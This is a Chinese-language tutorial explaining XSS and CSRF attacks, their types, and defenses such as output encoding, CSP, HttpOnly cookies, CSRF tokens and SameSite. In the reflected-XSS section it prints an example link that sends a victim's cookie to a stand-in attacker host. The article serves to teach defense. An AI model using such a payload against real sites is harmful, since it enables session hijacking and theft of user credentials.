文章摘要: 本文旨在系统性地总结Web安全领域中最为常见和危险的两种攻击方式:XSS(跨站脚本攻击)和CSRF(跨站请求伪造)。文章将详细阐述它们的工作原理、攻击分类、具体案例,并提供切实可行的防御方案,最后对两者进行对比分析,以帮助开发者构建更加安全的Web应用。
一、 引言:为什么需要关注XSS和CSRF?
- Web安全的严峻形势:简述数据与业务Web化的背景下,安全的重要性。
- OWASP Top 10:提及XSS和CSRF在历年OWASP Top 10中的位置,说明其普遍性和危险性。
- 本文目标:带领读者从理解到防御,彻底掌握这两种核心攻击方式。
二、 深入剖析XSS(跨站脚本攻击 Cross Site Script)
- 什么是XSS?
攻击者向网页中注入恶意脚本,当用户浏览该页面时,脚本被执行,从而达到盗取用户Cookie、会话Token,篡改页面内容,进行恶意操作,传播蠕虫等目的。
-
XSS的三种主要类型
-
存储型(持久型)XSS
-
原理:恶意脚本被永存储在目标服务器上(如数据库),当用户访问特定页面时,脚本被加载并执行。(常见于论坛帖子、评论区、用户昵称)
-
攻击流程:所有访问含恶意脚本页面的用户都会被攻击。
-
典型案例:论坛评论注入恶意脚本
-
-

-
反射型(非持久型)XSS
-
原理:恶意脚本作为请求的一部分,经服务器反射后,在受害者的浏览器中执行。(常见于搜索、错误信息页面)
-
攻击流程:通过url传递参数的功能,诱使用户点击一个精心构造的恶意链接。
-
典型案例 :一个没有做防范的搜索网站,直接将搜索词显示在搜索结果页面上,攻击者构造一个链接
http://a.com/search?query=<script>document.location='http://b.com?cookies=document.cookie'<script/>
,并诱导用户点击该链接,用户的cookie就会发送到攻击者的服务器。
-

-
基于DOM型XSS
- 原理:攻击完全在客户端(浏览器)发生,不经过服务器,通过各种方式篡改用户页面,执行恶意脚本。如路由劫持等
- 攻击流程 :利用
innerHTML
、document.write
、location.hash
等前端API的漏洞。 - 示例 : document.getElementById('output').innerHTML = location.hash.substring(1); 攻击链接:
http://example.com/#<script>alert('哈哈')</script>
markdown
- **对比**
css
| | **存储型** | **反射型** | **基于DOM型** |
| -------- | ---------------- | ----------------- | --------- |
| 是否存储到服务器 | 是 | 否 | 否 |
| 是否会经过服务器 | 是 | 是 | 否 |
| 检测难度 | 中等难度(需扫描服务器存储内容) | 较易(恶意内容出现在url或请求中) | 极难(无服务端流量) |
| 影响范围 | 所有访问页面的用户 | 点击恶意链接的用户 | 当前用户会话 |
| 数据来源 | 用户输入(如帖子、评论) | url参数、表单输入 | url片段、前度存储 |
| 防御重点 | 输入过滤 + 输出编码(如HTML实体转义) | 输入过滤 + 输出编码(如HTML实体转义) | 前端转义(DOMPurify)、避免危险API(如 innerHTML)启用 CSP |
-
XSS的后果
- 用户信息、cookie等被窃取
- 网站被篡改,如植入广告等恶意内容
- 会话劫持
-
XSS的防御方案
-
核心原则:对不可信数据进行编码、过滤、校正
- 编码:将特殊字符等(<、>)进行转换;
- 过滤:移除用户输入和事件相关的属性,如通过图片标签的 onerror 自动发起攻击、onclick 等;移除用户输入的 style,script,frame 等节点;
- 校正:避免直接对 HTML Entity 进行解码。使用 DOM Parse 转换,校正不配对的 DOM 标签
-
具体措施:
-
输入验证 :对用户输入进行严格的验证、过滤,特殊字符转义。如论坛帖子、评论使用 xss.js对输入的富文本进行白名单过滤,白名单包括了HTML标签/属性、CSS 等。
-
输出编码:
- HTML上下文 :使用
HtmlEncode
(<
-><
,>
->>
)。 - 属性上下文 :使用
HtmlAttributeEncode
。 - JavaScript上下文 :使用
JavaScriptEncode
。 - URL上下文 :使用
URLEncode
。
- HTML上下文 :使用
-
利用CSP(内容安全策略) :通过HTTP响应头定义客户端允许加载和执行的资源的来源,从根本上减少XSS的危害。
-
使用HttpOnly Cookie:标记关键Cookie为HttpOnly,防止被JavaScript读取,有效防御Cookie窃取。
-
避免不安全的DOM操作 :谨慎使用
innerHTML
,优先使用textContent
等安全API。
-
-
三、 深入剖析CSRF(跨站请求伪造 Cross Site Request Forgery)
- 什么是CSRF?
诱导用户在当前已登录的Web应用中,执行一个非本意的操作。如用户登录了银行网站A,又访问了恶意网站B,B中一个隐藏的图片/表单请求会触发用户在A站上的转账操作。
-
CSRF的攻击原理与条件
-
原理 :浏览器会自动携带目标站点的Cookie发起请求。
-
攻击成功的三个必要条件:
- 用户已登录目标网站,并持有有效的会话Cookie。
- 用户访问了恶意网站或页面。
- 目标网站的接口没有做CSRF防护。
-
-
CSRF的防御方案
-
核心原则:阻止未经授权的第三方网站发起请求
-
具体措施:
-
同源策略检查 :利用HTTP头
Origin
和Referer
验证请求来源,这方法简单但不可靠,因为 Referer、Origin 可以被伪造 -
使用CSRF Token(最有效、最常用)
- 原理:在表单或请求中嵌入一个随机的、不可预测的Token,服务器端进行验证。
- 实现细节:Token需与用户会话关联,一次性或短时间有效,且确保不被泄漏。
-
双重Cookie验证
- 原理:将Cookie中的某个值,同时作为请求参数发送,服务器验证两者是否一致。
-
SameSite Cookie属性(现代浏览器利器)
- 原理 :设置Cookie的
SameSite
属性为Strict
(最严格)或Lax
(宽松),可以阻止浏览器在跨站请求中发送Cookie。 SameSite=Strict
:完全禁止第三方Cookie。SameSite=Lax
:允许部分安全的跨站请求(如导航链接)携带Cookie。
- 原理 :设置Cookie的
-
关键操作二次验证:如短信验证、密码确认等,确保操作的合法性
-
-
四、 XSS与CSRF的对比与关联
- 核心区别对比表
特性 | XSS | CSRF |
---|---|---|
基础 | 利用用户对网站的信任 | 利用网站对用户浏览器的信任 |
攻击目标 | 窃取用户数据(Cookie、会话的等),伪装用户 | 冒充用户执行操作 |
实现方式 | 向页面注入恶意脚本 | 伪造请求 |
所需条件 | 网站存在输入过滤漏洞 | 用户已登录且会话有效 |
危害 | 会话劫持、数据窃取、钓鱼攻击等 | 资金转移、密码修改、账户盗用等 |
防御核心 | 验证和过滤输入输出 | 验证请求来源和用户意图 |
-
两者的"合作"关系
- XSS可以用来绕过CSRF Token等防御措施(通过XSS窃取Token)。
- 一个存在XSS漏洞的网站,其CSRF防御可能形同虚设。
五、 总结与最佳实践
-
核心思想总结:
- 防XSS :不要信任用户输入的一切,对所有输出进行编码。
- 防CSRF :不要信任来自客户端的每一个请求,验证其来源和意图。
-
综合防御策略:
- 前端与后端需要共同承担责任。
- 使用成熟的安全框架和库(如Spring Security, Helmet.js)。
- 保持框架和依赖库的更新。
- 进行定期的安全审计和渗透测试。
-
结束语:安全是一个持续的过程,理解XSS和CSRF是每一位Web开发者的必修课。只有建立起纵深防御体系,才能有效保障用户和数据的安全。